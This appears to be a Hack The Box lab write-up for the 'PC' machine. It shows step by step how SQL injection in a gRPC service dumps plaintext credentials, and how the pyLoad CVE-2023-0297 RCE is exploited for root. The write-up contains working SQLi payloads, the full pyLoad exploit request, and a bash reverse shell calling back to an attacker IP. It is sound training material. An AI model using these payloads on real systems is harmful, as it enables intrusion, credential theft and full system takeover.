Post

HTB - PC

Overview

PC is an Easy Difficulty Linux machine that features a gRPC endpoint that is vulnerable to SQL Injection.

Initial foothold: After enumerating and dumping the database’s contents, plaintext credentials lead to SSH access to the machine.

Privilege escalation: Listing locally running ports reveals an outdated version of the pyLoad service, which is susceptible to pre-authentication Remote Code Execution (RCE) via CVE-2023-0297. As the service is run by root, exploiting this vulnerability leads to fully elevated privileges.

Information gathering

Nmap port-scan:

1
2
3
4
5
$ sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.214

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open  unknown

Nmap info:

  • SSH server open, but no creds to leverage it.
  • 50051 open –> find more.

Port 50051

Not much to do here, other than learning more what port 50051 is used for. By googling “tcp port 50051 services” we get multiple references to gRPC:

Searching for “what is gRPC”, the product’s homepage shows up and let us know that gRPC is a high performance, open source universal Remote Procedure Call framework (g stands for Google!):

There is also an interesting reference about a blog post from Postman, which is a popular tool for testing Application Programming Interfaces (APIs). It seems that gRPC is an API architectural style, that functions different from the “classical” REST APIs: REST exposes resource URLs to clients, while gRPC exposes procedures.

Another thing to note, is that we need specialized gRPC software in order to interact with it, such as gprcurl: the curl of gRPC servers. We can download a suitable binary and go through its GitHub documentation.

Let’s start by listing the server’s services:

1
2
3
4
# listing services
$ ./grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

The output lists 2 services: grpc.reflection.v1alpha.ServerReflection and SimpleApp. The former one seems to be a default one, so we will try to explore the latter:

1
2
3
4
5
# listing service's methods
$ ./grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

We can see that the SimpleApp services contains 3 methods: LoginUser, RegisterUser, and getInfo. We can also use describe to obtain further info about the service:

1
2
3
4
5
6
7
8
# get information about a service
$ ./grpcurl -plaintext 10.10.11.214:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}

The output describes how each method work: what is expects as input and their respective responses. We can also use describe on the methods themselves:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# get more information about each method
$ ./grpcurl -plaintext 10.10.11.214:50051 describe LoginUserRequest
LoginUserRequest is a message:
message LoginUserRequest {
  string username = 1;
  string password = 2;
}

$ ./grpcurl -plaintext 10.10.11.214:50051 describe RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest {
  string username = 1;
  string password = 2;
}

$ ./grpcurl -plaintext 10.10.11.214:50051 describe getInfoRequest
getInfoRequest is a message:
message getInfoRequest {
  string id = 1;
}

The LoginUser and RegisterUser endpoints expect a message in the form of 2 strings: username and password as input, while the getInfo endpoint expects just an id.

We can now attempt to register ourselves! We can pass data for request contents via the -d flag:

1
2
$ ./grpcurl -plaintext -format text -d 'username: "xhi4m", password: "xhi4m"' 10.10.11.214:50051 SimpleApp.RegisterUser
message: "Account created for user xhi4m!"

We successfully created an account, thus, the next step is to login with it:

1
2
$ ./grpcurl -plaintext -format text -d 'username: "xhi4m", password: "xhi4m"' 10.10.11.214:50051 SimpleApp.LoginUser
message: "Your id is 277."

We get back an id, so we can also now call the getInfo endpoint:

1
2
$ ./grpcurl -plaintext -format text -d 'id: "277"' 10.10.11.214:50051 SimpleApp.getInfo
message: "Authorization Error.Missing 'token' header"

Apparently, the getInfo endpoint requires a token along with the id parameter. We can try logging again, but this time increasing the output’s verbosity level:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./grpcurl -plaintext -format text -d 'username: "xhi4m", password: "xhi4m"' -vv 10.10.11.214:50051 SimpleApp.LoginUser

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Estimated response size: 17 bytes

Response contents:
message: "Your id is 524."

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8'
Sent 1 request and received 1 response

We can pass any additional headers with the -H flag, so let’s call the getInfo endpoint again:

The id’s value changes every time we login!

1
2
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524"' 10.10.11.214:50051 SimpleApp.getInfo
message: "Will update soon."

Initial foothold

gRPC endpoints can be susceptible to similar vulnerabilities as REST ones. Our data (name, password, id) must be stored within a database in the backend, thus, we could check if any parameter is vulnerable to SQLi:

1
2
3
# test for SQLi vulnerability
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 OR 1=1"' 10.10.11.214:50051 SimpleApp.getInfo
message: "The admin is working hard to fix the issues."

The id parameter seems to be vulnerable to SQLi. Let’s start by enumerating the number of columns by incrementing the number of the ORDER BY clause until we get an error:

1
2
3
4
5
6
7
8
# enumerate the number of columns returned
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 ORDER BY 1"' 10.10.11.214:50051 SimpleApp.getInfo
message: "Will update soon."

$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 ORDER BY 2"' 10.10.11.214:50051 SimpleApp.getInfo
ERROR:
  Code: Unknown
  Message: Unexpected <class 'TypeError'>: bad argument type for built-in operation

We get an error back on ORDER BY 2, so the table must have just 1 column. Next, we can try enumerating the database’s version:

1
2
3
# enumerate the version of the database
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT sqlite_version()"' 10.10.11.214:50051 SimpleApp.getInfo
message: "3.31.1"

We are dealing with an SQLite database. Let’s now enumerate the database tables:

1
2
3
# enumerate table names
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT name FROM sqlite_master WHERE type=\"table\";--"' 10.10.11.214:50051 SimpleApp.getInfo
message: "accounts"

Next, we can check the column names of the accounts table; since we know that the query only returns 1 column back, we will have to use the GROUP_CONCAT method:

SQLite stores table-related information in the pragma_table_info system table.

1
2
3
# enumerate columns names
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"' 10.10.11.214:50051 SimpleApp.getInfo
message: "username,password"

Now we know the column names, we can dump their contents:

1
2
3
# dump table's contents
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"' 10.10.11.214:50051 SimpleApp.getInfo
message: "adminadmin,sauHereIsYourPassWord1431"

We manage to get credentials back: admin:admin and sau:HereIsYourPassWord1431! Let’s try logging into SSH with them:

1
2
3
4
5
6
7
8
9
10
11
12
# ssh as admin
$ ssh admin@10.10.11.214

admin@10.10.11.214's password:
Permission denied, please try again.
admin@10.10.11.214's password:

# ssh as sau
$ ssh sau@10.10.11.214
sau@10.10.11.214's password:
sau@pc:~$ cat user.txt
<SNIP>

Success!

Privilege escalation

Let’s see what the user sau can do:

1
2
3
4
5
6
7
# check user's group memberships
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
# check if current user can run anything with elevated privileges
sau@pc:~$ sudo -l
[sudo] password for sau:
Sorry, user sau may not run sudo on localhost.

He does not belong to any interesting group neither can run anything with elevated privileges. Next, we can search for SUID files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# search for SUID files
sau@pc:~$ find / -type f -perm -u=s 2>/dev/null
/snap/snapd/17950/usr/lib/snapd/snap-confine
/snap/core20/1778/usr/bin/chfn
/snap/core20/1778/usr/bin/chsh
/snap/core20/1778/usr/bin/gpasswd
/snap/core20/1778/usr/bin/mount
/snap/core20/1778/usr/bin/newgrp
/snap/core20/1778/usr/bin/passwd
/snap/core20/1778/usr/bin/su
/snap/core20/1778/usr/bin/sudo
/snap/core20/1778/usr/bin/umount
/snap/core20/1778/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1778/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/umount
/usr/bin/gpasswd

Unfortunately, nothing out of the ordinary in the above list. We can proceed by checking what ports are open locally:

1
2
3
4
5
6
7
8
9
10
# list open ports
sau@pc:/$ netstat -ntl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp6       0      0 :::50051                :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN

There is port 8000 that only listens locally (127.0.0.1) and port 9666 which listens on all interfaces (0.0.0.0) but was not discovered in our initial nmap port-scan. We can try reaching the former via curl:

1
2
3
4
5
6
sau@pc:/$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.

That’s interesting…let’s follow the redirection to /login:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
sau@pc:/$ curl 127.0.0.1:8000/login
<!DOCTYPE html>
<html lang="en">

<SNIP>

<title>Login - pyLoad </title>

<SNIP>

    <div class="col-sm-4 col-sm-offset-4">
      <div class="form-group">
        <label for="username">Username</label>
        <input type="text" class="form-control" id="username" size="20" name="username" autocomplete="off">
      </div>
      <div class="form-group">
        <label for="password">Password</label>
        <input type="password" class="form-control reveal-pass" id="password" size="20" name="password" autocomplete="off">
      </div>
      <button type="submit" name="submit" value="Login" class="btn btn-primary">
        <span class="glyphicon glyphicon-log-in"></span> SIGN IN
      </button>

    </div>

<SNIP>

 <p>Note: to solve this invisible captcha<br>
                Please install the <a href='https://tampermonkey.net/' target='_blank'>Tampermonkey</a> add-on in your browser and add the <a href="/static/js/captcha-interactive.user.js">pyload userscript</a>.
              </p>

<SNIP>

</body>
</html>

After going through the output, we can infer that this is indeed a login page as it seems to ask for username, password, and solving a CAPTCHA. Another thing to note down is that it is using pyload which is a “friendly Web User Interface allows full managing and easily remote access from anywhere!”.

Let’s now check if pyload is running in our target:

1
2
3
# check if pyload is running as a process
sau@pc:/$ ps -aux | grep pyload
root        1046  0.0  1.4 1216804 59900 ?       Ssl  06:16   0:04 /usr/bin/python3 /usr/local/bin/pyload

The app is indeed running as a process with elevated privileges (root). Next, we should find out its version and check if there are any known vulnerabilities for it:

1
2
3
# check pyload's version
sau@pc:/$ pyload --version
pyLoad 0.5.0

Searching for “pyload 0.5.0 exploit” multiple references to CVE-2023-0297 pop up, which is an RCE vulnerability! A GitHub repo exists that explain the vulnerability and also includes a link to a PoC, which seems to be just a curl command:

1
2
3
4
# PoC command
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

What the above URL-encoded command does, is simply importing the os module and uses it to create a file within the tmp directory (\"touch%20/tmp/pwnd\") as a proof of concept.

What we need to do, is to inject a reverse shell script and make the system execute it using pyload, and since the app runs as root, we should get back a root shell. We can create our script within the /tmp directory in which we have write access:

1
2
3
4
5
6
7
8
9
10
# move into the /tmp directory
sau@pc:/$ cd /tmp
# open a text editor
sau@pc:/tmp$ nano pwn.py
# give execute permissions to the script
sau@pc:/tmp$ chmod +x pwn.py
# display the script's contents
sau@pc:/tmp$ cat pwn.py
import os
os.system("bash -c '/bin/bash -i >& /dev/tcp/10.10.14.5/1337 0>&1'")

Now, we have to modify the PoC code, in particular the jk parameter and the <target> placeholder. We want to execute our script via the following command: python3 /tmp/pwn.py instead of just creating a file, and add our localhost socket so the pyload process can execute our script:

1
2
3
4
# modifying the PoC
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"python3%20/tmp/pwn.py\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

Next, we open a listener on our attack host:

1
2
3
# opening a listener to catch the shell
$ nc -lnvp 1337
listening on [any] 1337 ...

And, execute the payload:

1
2
3
sau@pc:/tmp$ curl -i -s -k -X $'POST' \
>     --data-binary $'jk=pyimport%20os;os.system(\"python3%20/tmp/pwn.py\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
>     $'http://127.0.0.1:8000/flash/addcrypted2'

Back on our listener:

1
2
3
4
5
6
7
8
$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.214] 60820
bash: cannot set terminal process group (1046): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# cat /root/root.txt
cat /root/root.txt
<SNIP>

This post is licensed under CC BY 4.0 by the author.